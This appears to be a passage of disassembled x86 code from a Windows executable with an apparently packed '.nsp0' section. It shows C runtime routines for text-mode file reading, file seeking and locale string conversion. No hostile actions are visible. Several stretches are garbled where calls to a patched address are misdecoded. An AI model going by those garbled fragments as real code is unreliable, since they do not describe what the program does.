		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41842B


loc_418360:				; CODE XREF: sub_418259+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41841B
		cmp	al, 0Dh
		jz	short loc_41837C
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41840D
; ---------------------------------------------------------------------------


loc_41837C:				; CODE XREF: sub_418259+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41839A
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_418391
		add	[ebp+arg_8], 2
		jmp	short loc_4183EF
; ---------------------------------------------------------------------------


loc_418391:				; CODE XREF: sub_418259+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41840D
; ---------------------------------------------------------------------------


loc_41839A:				; CODE XREF: sub_418259+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_41D098	; ReadFile
		test	eax, eax
		jnz	short loc_4183C2
		call	dword_41D06C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_418409


loc_4183C2:				; CODE XREF: sub_418259+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_418409
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_4183E4
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_4183EF
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41840D
; ---------------------------------------------------------------------------


loc_4183E4:				; CODE XREF: sub_418259+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_4183F4
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_4183F4


loc_4183EF:				; CODE XREF: sub_418259+136j
					; sub_418259+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41840C
; ---------------------------------------------------------------------------


loc_4183F4:				; CODE XREF: sub_418259+18Ej
					; sub_418259+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41844F
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41840D


loc_418409:				; CODE XREF: sub_418259+167j
					; sub_418259+16Dj
		mov	byte ptr [edi],	0Dh


loc_41840C:				; CODE XREF: sub_418259+199j
		inc	edi


loc_41840D:				; CODE XREF: sub_418259+11Ej
					; sub_418259+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_418360
		jmp	short loc_41842B
; ---------------------------------------------------------------------------


loc_41841B:				; CODE XREF: sub_418259+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41842B
		or	al, 2
		mov	[esi], al


loc_41842B:				; CODE XREF: sub_418259+101j
					; sub_418259+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_418431:				; CODE XREF: sub_418259+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41844A
; ---------------------------------------------------------------------------


loc_418436:				; CODE XREF: sub_418259+12j
					; sub_418259+39j
		and	dword_462BC8, 0
		mov	dword_462BC4, 9


loc_418447:				; CODE XREF: sub_418259+ABj
					; sub_418259+C3j
		or	eax, 0FFFFFFFFh


loc_41844A:				; CODE XREF: sub_418259+B7j
					; sub_418259+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418259	endp


; =============== S U B	R O U T	I N E =======================================



sub_41844F	proc near		; CODE XREF: sub_41380E+67p
					; sub_414507+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_463FE0
		push	esi
		push	edi
		jnb	short loc_4184D1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:463EE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4184D1
		push	eax
		call	sub_419D93
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_418493
		mov	dword_462BC4, 9
		jmp	short loc_4184E2
; ---------------------------------------------------------------------------


loc_418493:				; CODE XREF: sub_41844F+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_41D09C	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4184B3
		call	dword_41D06C	; RtlGetLastWin32Error
		jmp	short loc_4184B5
; ---------------------------------------------------------------------------


loc_4184B3:				; CODE XREF: sub_41844F+5Aj
		xor	eax, eax


loc_4184B5:				; CODE XREF: sub_41844F+62j
		test	eax, eax
		jz	short loc_4184C2
		push	eax
		call	sub_418CFA
		pop	ecx
		jmp	short loc_4184E2
; ---------------------------------------------------------------------------


loc_4184C2:				; CODE XREF: sub_41844F+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4184E5
; ---------------------------------------------------------------------------


loc_4184D1:				; CODE XREF: sub_41844F+Dj
					; sub_41844F+2Aj
		and	dword_462BC8, 0
		mov	dword_462BC4, 9


loc_4184E2:				; CODE XREF: sub_41844F+42j
					; sub_41844F+71j
		or	eax, 0FFFFFFFFh


loc_4184E5:				; CODE XREF: sub_41844F+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41844F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E9	proc near		; CODE XREF: sub_41380E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_418505
		mov	[edi+4], ebx


loc_418505:				; CODE XREF: sub_4184E9+17j
		push	1
		push	ebx
		push	esi
		call	sub_41844F
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_418573
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41852A
		sub	eax, [edi+4]
		jmp	loc_41863C
; ---------------------------------------------------------------------------


loc_41852A:				; CODE XREF: sub_4184E9+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_418564
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_463EE0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41857B
		mov	edx, ecx


loc_418555:				; CODE XREF: sub_4184E9+79j
		cmp	edx, eax
		jnb	short loc_41857B
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_418561
		inc	[ebp+var_8]


loc_418561:				; CODE XREF: sub_4184E9+73j
		inc	edx
		jmp	short loc_418555
; ---------------------------------------------------------------------------


loc_418564:				; CODE XREF: sub_4184E9+50j
		test	dl, 80h
		jnz	short loc_41857B
		mov	dword_462BC4, 16h


loc_418573:				; CODE XREF: sub_4184E9+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41863C
; ---------------------------------------------------------------------------


loc_41857B:				; CODE XREF: sub_4184E9+68j
					; sub_4184E9+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_418589
		mov	eax, [ebp+var_8]
		jmp	loc_41863C
; ---------------------------------------------------------------------------


loc_418589:				; CODE XREF: sub_4184E9+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_418634
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_4185A2
		and	[ebp+var_8], edx
		jmp	loc_418634
; ---------------------------------------------------------------------------


loc_4185A2:				; CODE XREF: sub_4184E9+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:463EE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41862E
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41844F
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4185F5
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4185E0:				; CODE XREF: sub_4184E9+104j
		cmp	eax, ecx
		jnb	short loc_4185EF
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4185EC
		inc	[ebp+arg_0]


loc_4185EC:				; CODE XREF: sub_4184E9+FEj
		inc	eax
		jmp	short loc_4185E0
; ---------------------------------------------------------------------------


loc_4185EF:				; CODE XREF: sub_4184E9+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_418629
; ---------------------------------------------------------------------------


loc_4185F5:				; CODE XREF: sub_4184E9+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41844F
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41861C
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41861C
		test	ch, 4
		jz	short loc_41861F


loc_41861C:				; CODE XREF: sub_4184E9+124j
					; sub_4184E9+12Cj
		mov	eax, [edi+18h]


loc_41861F:				; CODE XREF: sub_4184E9+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_418629:				; CODE XREF: sub_4184E9+10Aj
		jz	short loc_41862E
		inc	[ebp+arg_0]


loc_41862E:				; CODE XREF: sub_4184E9+D9j
					; sub_4184E9:loc_418629j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_418634:				; CODE XREF: sub_4184E9+A4j
					; sub_4184E9+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41863C:				; CODE XREF: sub_4184E9+3Cj
					; sub_4184E9+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4184E9	endp

; ---------------------------------------------------------------------------


loc_418641:				; CODE XREF: sub_413A37+A3p
					; sub_417541+A5p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D870
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	dword_462C4C, edi
		jnz	short loc_4186B7
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_41D868
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_41D188	; LCMapStringW
		test	eax, eax
		jz	short loc_418695
		mov	dword_462C4C, ebx
		jmp	short loc_4186B7
; ---------------------------------------------------------------------------


loc_418695:				; CODE XREF: .nsp0:0041868Bj
		push	edi
		push	edi
		push	ebx
		push	offset dword_432704
		push	esi
		push	edi
		call	near ptr 0AB0000h
		mov	[ebp+22840FC0h], eax
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_462C4C
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4186B7:				; CODE XREF: .nsp0:0041866Fj
					; .nsp0:00418693j
		cmp	[ebp+14h], edi
		jle	short loc_4186CC
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_418865
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_4186CC:				; CODE XREF: .nsp0:004186BAj
		mov	eax, dword_462C4C
		cmp	eax, 2
		jnz	short loc_4186F3
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0AB0000h
		add	ecx, ebp
		fiadd	word ptr [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4186F3:				; CODE XREF: .nsp0:004186D4j
		cmp	eax, 1
		jnz	loc_4187CF
		cmp	[ebp+20h], edi
		jnz	short loc_418709
		mov	eax, dword_462C68
		mov	[ebp+20h], eax


loc_418709:				; CODE XREF: .nsp0:004186FFj
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	dword_41D130	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_4187CF
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_412770
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_418764
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_418764:				; CODE XREF: .nsp0:0041874Fj
		cmp	[ebp-24h], edi
		jz	short loc_4187CF
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	dword_41D130	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4187CF
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_41D188	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_4187CF
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_4187E3
		cmp	[ebp+1Ch], edi
		jz	loc_41885E
		cmp	esi, [ebp+1Ch]
		jg	short loc_4187CF
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_41D188	; LCMapStringW
		test	eax, eax
		jnz	loc_41885E


loc_4187CF:				; CODE XREF: .nsp0:004186F6j
					; .nsp0:0041872Dj ...
		xor	eax, eax


loc_4187D1:				; CODE XREF: .nsp0:00418860j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4187E3:				; CODE XREF: .nsp0:004187A1j
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_412770
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_418817
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_418817:				; CODE XREF: .nsp0:00418803j
		cmp	ebx, edi
		jz	short loc_4187CF
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_41D188	; LCMapStringW
		test	eax, eax
		jz	short loc_4187CF
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_41883E
		push	edi
		push	edi
		jmp	short loc_418844
; ---------------------------------------------------------------------------


loc_41883E:				; CODE XREF: .nsp0:00418838j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_418844:				; CODE XREF: .nsp0:0041883Cj
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	dword_41D12C	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_4187CF


loc_41885E:				; CODE XREF: .nsp0:004187A6j
					; .nsp0:004187C9j
		mov	eax, esi
		jmp	loc_4187D1

; =============== S U B	R O U T	I N E =======================================



sub_418865	proc near		; CODE XREF: .nsp0:004186C2p
					; sub_41C115+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_418882


loc_418875:				; CODE XREF: sub_418865+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_418882
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_418875


loc_418882:				; CODE XREF: sub_418865+Ej
					; sub_418865+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41888D
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41888D:				; CODE XREF: sub_418865+21j
		mov	eax, edx
		retn
sub_418865	endp

; ---------------------------------------------------------------------------


loc_418890:				; CODE XREF: sub_418C54+Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	sub_418A29
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_463FE4
		mov	[ebp+8], esi
		jz	loc_418A1D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_418A13
		xor	edx, edx
		mov	eax, offset dword_431830


loc_4188C4:				; CODE XREF: .nsp0:004188D1j
		cmp	[eax], esi
		jz	short loc_41893A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_431920
		jl	short loc_4188C4
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0AB0000h
		xor	[ebx-7AF0FE08h], al
		and	al, 1
; ---------------------------------------------------------------------------
		db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
		inc	eax
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_464100
		cmp	dword ptr [ebp-18h], 1
		mov	dword_463FE4, esi
		rep stosd
		stosb
		mov	dword_464204, ebx
		jbe	loc_4189F9
		cmp	byte ptr [ebp-12h], 0
		jz	loc_4189CF
		lea	ecx, [ebp-11h]


loc_418917:				; CODE XREF: .nsp0:004189C9j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4189CF
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_418928:				; CODE XREF: .nsp0:00418938j
		cmp	eax, edx
		ja	loc_4189C3
		or	byte_464101[eax], 4
		inc	eax
		jmp	short loc_418928
; ---------------------------------------------------------------------------


loc_41893A:				; CODE XREF: .nsp0:004188C6j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_464100
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp-4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_431840[esi]


loc_418956:				; CODE XREF: .nsp0:00418993j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_418989


loc_41895D:				; CODE XREF: .nsp0:00418987j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_418989
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_418982
		mov	edx, [ebp-4]
		mov	dl, byte_431828[edx]


loc_418977:				; CODE XREF: .nsp0:00418980j
		or	byte_464101[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_418977


loc_418982:				; CODE XREF: .nsp0:0041896Cj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41895D


loc_418989:				; CODE XREF: .nsp0:0041895Bj
					; .nsp0:00418962j
		inc	dword ptr [ebp-4]
		add	ebx, 8
		cmp	dword ptr [ebp-4], 4
		jb	short loc_418956
		mov	eax, [ebp+8]
		mov	dword_463FFC, 1
		push	eax
		mov	dword_463FE4, eax
		call	sub_418A73
		lea	esi, dword_431834[esi]
		mov	edi, offset dword_463FF0
		movsd
		movsd
		pop	ecx
		mov	dword_464204, eax
		movsd
		jmp	short loc_418A18
; ---------------------------------------------------------------------------


loc_4189C3:				; CODE XREF: .nsp0:0041892Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_418917


loc_4189CF:				; CODE XREF: .nsp0:0041890Ej
					; .nsp0:0041891Bj
		push	1
		pop	eax


loc_4189D2:				; CODE XREF: .nsp0:004189DFj
		or	byte_464101[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4189D2
		push	esi
		call	sub_418A73
		pop	ecx
		mov	dword_464204, eax
		mov	dword_463FFC, 1
		jmp	short loc_4189FF
; ---------------------------------------------------------------------------


loc_4189F9:				; CODE XREF: .nsp0:00418904j
		mov	dword_463FFC, ebx


loc_4189FF:				; CODE XREF: .nsp0:004189F7j
		xor	eax, eax
		mov	edi, offset dword_463FF0
		stosd
		stosd
		stosd
		jmp	short loc_418A18
; ---------------------------------------------------------------------------
		cmp	dword_462C70, ebx
		jz	short loc_418A21


loc_418A13:				; CODE XREF: .nsp0:004188B7j
		call	sub_418AA6


loc_418A18:				; CODE XREF: .nsp0:004189C1j
					; .nsp0:00418A09j
		call	sub_418ACF


loc_418A1D:				; CODE XREF: .nsp0:004188ADj
		xor	eax, eax
		jmp	short loc_418A24
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: .nsp0:00418A11j
		or	eax, 0FFFFFFFFh


loc_418A24:				; CODE XREF: .nsp0:00418A1Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418A29	proc near		; CODE XREF: .nsp0:0041889Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_462C70, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_418A48+1
		mov	dword_462C70, 1
		call	near ptr 0AB0000h


loc_418A48:				; CODE XREF: sub_418A29+Ej
		mov	cl, 83h
		clc
		std
		jnz	short near ptr loc_418A5D+1
		mov	dword_462C70, 1
		call	near ptr 0AB0000h


loc_418A5D:				; CODE XREF: sub_418A29+23j
		mov	dl, 83h
		clc
		cld
		jnz	short locret_418A72
		mov	eax, dword_462C68
		mov	dword_462C70, 1

locret_418A72:				; CODE XREF: sub_418A29+38j
		retn
sub_418A29	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A73	proc near		; CODE XREF: .nsp0:004189A8p
					; .nsp0:004189E2p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_418AA0
		sub	eax, 4
		jz	short loc_418A9A
		sub	eax, 0Dh
		jz	short loc_418A94
		dec	eax
		jz	short loc_418A8E
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418A8E:				; CODE XREF: sub_418A73+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_418A94:				; CODE XREF: sub_418A73+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_418A9A:				; CODE XREF: sub_418A73+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_418AA0:				; CODE XREF: sub_418A73+9j
		mov	eax, 411h
		retn
sub_418A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AA6	proc near		; CODE XREF: .nsp0:loc_418A13p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_464100
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_463FF0
		mov	dword_463FE4, eax
		mov	dword_463FFC, eax
		mov	dword_464204, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_418AA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418ACF	proc near		; CODE XREF: .nsp0:loc_418A18p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_463FE4
		call	near ptr 0AB0000h
		push	cs
		cmp	eax, 1
		jnz	loc_418C08
		xor	eax, eax
		mov	esi, 100h


loc_418AF9:				; CODE XREF: sub_418ACF+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_418AF9
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_418B4A
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_418B18:				; CODE XREF: sub_418ACF+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_418B3F
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_418B3F:				; CODE XREF: sub_418ACF+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_418B18
		pop	edi
		pop	ebx


loc_418B4A:				; CODE XREF: sub_418ACF+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_464204
		push	dword_463FE4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	loc_419AC4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_463FE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_464204
		call	loc_418641
		push	0
		lea	eax, [ebp+var_314]
		push	dword_463FE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_464204
		call	loc_418641
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_418BC5:				; CODE XREF: sub_418ACF+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_418BE3
		or	byte_464101[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_418BDB:				; CODE XREF: sub_418ACF+127j
		mov	byte_464000[eax], dl
		jmp	short loc_418BFF
; ---------------------------------------------------------------------------


loc_418BE3:				; CODE XREF: sub_418ACF+FCj
		test	dl, 2
		jz	short loc_418BF8
		or	byte_464101[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_418BDB
; ---------------------------------------------------------------------------


loc_418BF8:				; CODE XREF: sub_418ACF+117j
		and	byte_464000[eax], 0


loc_418BFF:				; CODE XREF: sub_418ACF+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_418BC5
		jmp	short loc_418C51
; ---------------------------------------------------------------------------


loc_418C08:				; CODE XREF: sub_418ACF+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_418C0F:				; CODE XREF: sub_418ACF+180j
		cmp	eax, 41h
		jb	short loc_418C2D
		cmp	eax, 5Ah
		ja	short loc_418C2D
		or	byte_464101[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_418C25:				; CODE XREF: sub_418ACF+174j
		mov	byte_464000[eax], cl
		jmp	short loc_418C4C
; ---------------------------------------------------------------------------


loc_418C2D:				; CODE XREF: sub_418ACF+143j
					; sub_418ACF+148j
		cmp	eax, 61h
		jb	short loc_418C45
		cmp	eax, 7Ah
		ja	short loc_418C45
		or	byte_464101[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_418C25
; ---------------------------------------------------------------------------


loc_418C45:				; CODE XREF: sub_418ACF+161j
					; sub_418ACF+166j
		and	byte_464000[eax], 0


loc_418C4C:				; CODE XREF: sub_418ACF+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_418C0F


loc_418C51:				; CODE XREF: sub_418ACF+137j
		pop	esi
		leave
		retn
sub_418ACF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C54	proc near		; CODE XREF: .nsp0:00418EEEp
					; sub_418F3D+Dp ...
		cmp	dword_46422C, 0
		jnz	short locret_418C6F
		push	0FFFFFFFDh
		call	loc_418890
		pop	ecx
		mov	dword_46422C, 1

locret_418C6F:				; CODE XREF: sub_418C54+7j
		retn
sub_418C54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C70	proc near		; CODE XREF: sub_413BF8+2Bp
					; sub_413BF8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_463FFC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_418C94
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_413710
		add	esp, 0Ch
		jmp	short loc_418CF7
; ---------------------------------------------------------------------------


loc_418C94:				; CODE XREF: sub_418C70+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_418CD9
		mov	ecx, [ebp+arg_4]


loc_418C9F:				; CODE XREF: sub_418C70+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
